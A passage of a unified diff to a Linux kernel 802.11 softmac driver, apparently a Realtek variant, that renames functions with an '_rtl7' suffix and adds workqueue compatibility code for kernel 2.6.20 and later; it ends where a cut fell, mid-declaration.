-1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int 